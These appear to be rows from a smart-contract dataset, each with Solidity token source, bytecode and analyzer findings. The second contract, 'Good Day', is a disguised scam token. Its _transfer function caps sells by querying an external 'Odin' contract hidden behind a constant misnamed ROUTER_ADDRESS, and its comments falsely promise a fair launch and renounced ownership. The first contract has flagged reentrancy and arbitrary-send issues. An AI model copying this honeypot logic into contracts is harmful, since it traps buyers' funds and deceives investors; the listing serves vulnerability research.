_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public {
require(_msgSender() == deployer);
tradingOpen = true;
buyLimitEnd = block.timestamp + (300 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external onlyOwner() {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610374578063c3c8cd8014610394578063c9567bf9146103a9578063db92dbb6146103be578063dd62ed3e146103d3578063e8078d941461041957600080fd5b8063715018a6146102ca5780638da5cb5b146102df57806395d89b4114610307578063a9059cbb14610335578063a985ceef1461035557600080fd5b8063313ce567116100fd578063313ce5671461021757806345596e2e146102335780635932ead11461025557806368a3a6a5146102755780636fc3eaec1461029557806370a08231146102aa57600080fd5b806306fdde0314610145578063095ea7b31461018c57806318160ddd146101bc57806323b872dd146101e257806327f3a72a1461020257600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600c81526b2932b9bab93932b1ba34b7b760a11b60208201525b6040516101839190611a9b565b60405180910390f35b34801561019857600080fd5b506101ac6101a7366004611b05565b61042e565b6040519015158152602001610183565b3480156101c857600080fd5b50683635c9adc5dea000005b604051908152602001610183565b3480156101ee57600080fd5b506101ac6101fd366004611b31565b610445565b34801561020e57600080fd5b506101d46104ae565b34801561022357600080fd5b5060405160098152602001610183565b34801561023f57600080fd5b5061025361024e366004611b72565b6104be565b005b34801561026157600080fd5b50610253610270366004611b99565b610595565b34801561028157600080fd5b506101d4610290366004611bb6565b610614565b3480156102a157600080fd5b50610253610637565b3480156102b657600080fd5b506101d46102c5366004611bb6565b610664565b3480156102d657600080fd5b50610253610686565b3480156102eb57600080fd5b506000546040516001600160a01b039091168152602001610183565b34801561031357600080fd5b506040805180820190915260058152642924a9a2a760d91b6020820152610176565b34801561034157600080fd5b506101ac610350366004611b05565b6106fa565b34801561036157600080fd5b50601454600160a81b900460ff166101ac565b34801561038057600080fd5b506101d461038f366004611bb6565b610707565b3480156103a057600080fd5b5061025361072d565b3480156103b557600080fd5b50610253610763565b3480156103ca57600080fd5b506101d46107a7565b3480156103df57600080fd5b506101d46103ee366004611bd3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042557600080fd5b506102536107bf565b600061043b338484610b72565b5060015b92915050565b6000610452848484610c96565b6104a4843361049f85604051806060016040528060288152602001611dee602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611239565b610b72565b5060019392505050565b60006104b930610664565b905090565b6000546001600160a01b031633146104f15760405162461bcd60e51b81526004016104e890611c0c565b60405180910390fd5b6011546001600160a01b0316336001600160a01b03161461051157600080fd5b603381106105595760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064016104e8565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105bf5760405162461bcd60e51b81526004016104e890611c0c565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200161058a565b6001600160a01b03811660009081526006602052604081205461043f9042611c57565b6011546001600160a01b0316336001600160a01b03161461065757600080fd5b4761066181611273565b50565b6001600160a01b03811660009081526002602052604081205461043f906112f8565b6000546001600160a01b031633146106b05760405162461bcd60e51b81526004016104e890611c0c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061043b338484610c96565b6001600160a01b03811660009081526006602052604081206001015461043f9042611c57565b6011546001600160a01b0316336001600160a01b03161461074d57600080fd5b600061075830610664565b90506106618161137c565b6016546001600160a01b0316336001600160a01b03161461078357600080fd5b6014805460ff60a01b1916600160a01b1790556107a24261012c611c6e565b601555565b6014546000906104b9906001600160a01b0316610664565b6000546001600160a01b031633146107e95760405162461bcd60e51b81526004016104e890611c0c565b601454600160a01b900460ff16156108435760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104e8565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108803082683635c9adc5dea00000610b72565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b957600080fd5b505afa1580156108cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f19190611c86565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561093957600080fd5b505afa15801561094d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109719190611c86565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109b957600080fd5b505af11580156109cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f19190611c86565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610a2181610664565b600080610a366000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a9957600080fd5b505af1158015610aad573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ad29190611ca3565b5050674563918244f400006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b3657600080fd5b505af1158015610b4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6e9190611cd1565b5050565b6001600160a01b038316610bd45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e8565b6001600160a01b038216610c355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e8565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e8565b6001600160a01b038216610d5c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e8565b60008111610dbe5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e8565b6000546001600160a01b03848116911614801590610dea57506000546001600160a01b03838116911614155b156111dc57601454600160a81b900460ff1615610e6a573360009081526006602052604090206002015460ff16610e6a57604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e9557506013546001600160a01b03838116911614155b8015610eba57506001600160a01b03821660009081526005602052604090205460ff16155b1561101e57601454600160a01b900460ff16610f185760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016104e8565b60066009556004600a55601454600160a81b900460ff1615610fe457426015541115610fe457601054811115610f4d57600080fd5b6001600160a01b0382166000908152600660205260409020544211610fbf5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016104e8565b610fca42602d611c6e565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff161561101e5761100142600f611c6e565b6001600160a01b0383166000908152600660205260409020600101555b600061102930610664565b601454909150600160b01b900460ff1615801561105457506014546001600160a01b03858116911614155b80156110695750601454600160a01b900460ff165b156111da57601454600160a81b900460ff16156110f6576001600160a01b03841660009081526006602052604090206001015442116110f65760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016104e8565b601454600160b81b900460ff161561115b57600061111f600c548461150590919063ffffffff16565b60145490915061114e90611147908590611141906001600160a01b0316610664565b90611584565b82906115e3565b905061115981611625565b505b80156111c857600b546014546111919160649161118b9190611185906001600160a01b0316610664565b90611505565b906115e3565b8111156111bf57600b546014546111bc9160649161118b9190611185906001600160a01b0316610664565b90505b6111c88161137c565b4780156111d8576111d847611273565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061121e57506001600160a01b03831660009081526005602052604090205460ff165b15611227575060005b61123384848484611693565b50505050565b6000818484111561125d5760405162461bcd60e51b81526004016104e89190611a9b565b50600061126a8486611c57565b95945050505050565b6011546001600160a01b03166108fc61128d8360026115e3565b6040518115909202916000818181858888f193505050501580156112b5573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112d08360026115e3565b6040518115909202916000818181858888f19350505050158015610b6e573d6000803e3d6000fd5b600060075482111561135f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104e8565b60006113696116c1565b905061137583826115e3565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113c4576113c4611cee565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141857600080fd5b505afa15801561142c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114509190611c86565b8160018151811061146357611463611cee565b6001600160a01b0392831660209182029290920101526013546114899130911684610b72565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114c2908590600090869030904290600401611d04565b600060405180830381600087803b1580156114dc57600080fd5b505af11580156114f0573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b6000826115145750600061043f565b60006115208385611d75565b90508261152d8583611daa565b146113755760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e8565b6000806115918385611c6e565b9050838110156113755760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e8565b600061137583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e4565b600a808210156116375750600a61164b565b60288211156116485750602861164b565b50805b611656816002611712565b15611669578061166581611dbe565b9150505b611679600a61118b836006611505565b60095561168c600a61118b836004611505565b600a555050565b806116a0576116a0611754565b6116ab848484611782565b8061123357611233600e54600955600f54600a55565b60008060006116ce611879565b90925090506116dd82826115e3565b9250505090565b600081836117055760405162461bcd60e51b81526004016104e89190611a9b565b50600061126a8486611daa565b600061137583836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118bb565b6009541580156117645750600a54155b1561176b57565b60098054600e55600a8054600f5560009182905555565b600080600080600080611794876118ef565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117c6908761194c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117f59086611584565b6001600160a01b0389166000908152600260205260409020556118178161198e565b61182184836119d8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161186691815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061189582826115e3565b8210156118b257505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118dc5760405162461bcd60e51b81526004016104e89190611a9b565b506118e78385611dd9565b949350505050565b600080600080600080600080600061190c8a600954600a546119fc565b925092509250600061191c6116c1565b9050600080600061192f8e878787611a4b565b919e509c509a509598509396509194505050505091939550919395565b600061137583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611239565b60006119986116c1565b905060006119a68383611505565b306000908152600260205260409020549091506119c39082611584565b30600090815260026020526040902055505050565b6007546119e5908361194c565b6007556008546119f59082611584565b6008555050565b6000808080611a10606461118b8989611505565b90506000611a23606461118b8a89611505565b90506000611a3b82611a358b8661194c565b9061194c565b9992985090965090945050505050565b6000808080611a5a8886611505565b90506000611a688887611505565b90506000611a768888611505565b90506000611a8882611a35868661194c565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611ac857858101830151858201604001528201611aac565b81811115611ada576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461066157600080fd5b60008060408385031215611b1857600080fd5b8235611b2381611af0565b946020939093013593505050565b600080600060608486031215611b4657600080fd5b8335611b5181611af0565b92506020840135611b6181611af0565b929592945050506040919091013590565b600060208284031215611b8457600080fd5b5035919050565b801515811461066157600080fd5b600060208284031215611bab57600080fd5b813561137581611b8b565b600060208284031215611bc857600080fd5b813561137581611af0565b60008060408385031215611be657600080fd5b8235611bf181611af0565b91506020830135611c0181611af0565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611c6957611c69611c41565b500390565b60008219821115611c8157611c81611c41565b500190565b600060208284031215611c9857600080fd5b815161137581611af0565b600080600060608486031215611cb857600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611ce357600080fd5b815161137581611b8b565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d545784516001600160a01b031683529383019391830191600101611d2f565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611d8f57611d8f611c41565b500290565b634e487b7160e01b600052601260045260246000fd5b600082611db957611db9611d94565b500490565b6000600019821415611dd257611dd2611c41565b5060010190565b600082611de857611de8611d94565b50069056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220855c288d98f6a315c1284ebf5f476a8bc8b0227a5f0158a8466e1eb71fbffb4364736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 311 |
0xE0E880B6058980D031676D7E10C38e653bFD6D20 | //SPDX-License-Identifier: MIT
// Telegram: @gooddaytoken
// Features:
// - low tax 4% for fair Launch
// - no team or marketing
// - no free tokens to callers
// - lock and renounce ownership in 10 minutes
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
uint256 constant INITIAL_TAX=4;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=2400000000;
string constant TOKEN_SYMBOL="GD";
string constant TOKEN_NAME="Good Day";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=500000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GoodDay is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(25);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102ed578063a9059cbb14610316578063dd62ed3e14610353578063f429389014610390576100fe565b806370a0823114610243578063715018a6146102805780638da5cb5b1461029757806395d89b41146102c2576100fe565b8063293230b8116100c6578063293230b8146101d3578063313ce567146101ea57806351bc3c851461021557806356d9dce81461022c576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b60405161012591906126a5565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906121f5565b6103e4565b604051610162919061268a565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612847565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906121a2565b610426565b6040516101ca919061268a565b60405180910390f35b3480156101df57600080fd5b506101e86104ff565b005b3480156101f657600080fd5b506101ff6109f9565b60405161020c91906128bc565b60405180910390f35b34801561022157600080fd5b5061022a610a02565b005b34801561023857600080fd5b50610241610a7c565b005b34801561024f57600080fd5b5061026a60048036038101906102659190612108565b610b64565b6040516102779190612847565b60405180910390f35b34801561028c57600080fd5b50610295610bb5565b005b3480156102a357600080fd5b506102ac610d08565b6040516102b991906125bc565b60405180910390f35b3480156102ce57600080fd5b506102d7610d31565b6040516102e491906126a5565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f9190612262565b610d6e565b005b34801561032257600080fd5b5061033d600480360381019061033891906121f5565b610de6565b60405161034a919061268a565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190612162565b610e04565b6040516103879190612847565b60405180910390f35b34801561039c57600080fd5b506103a5610e8b565b005b60606040518060400160405280600881526020017f476f6f6420446179000000000000000000000000000000000000000000000000815250905090565b60006103f86103f1610f47565b8484610f4f565b6001905092915050565b60006006600a6104129190612a06565b638f0d18006104219190612b24565b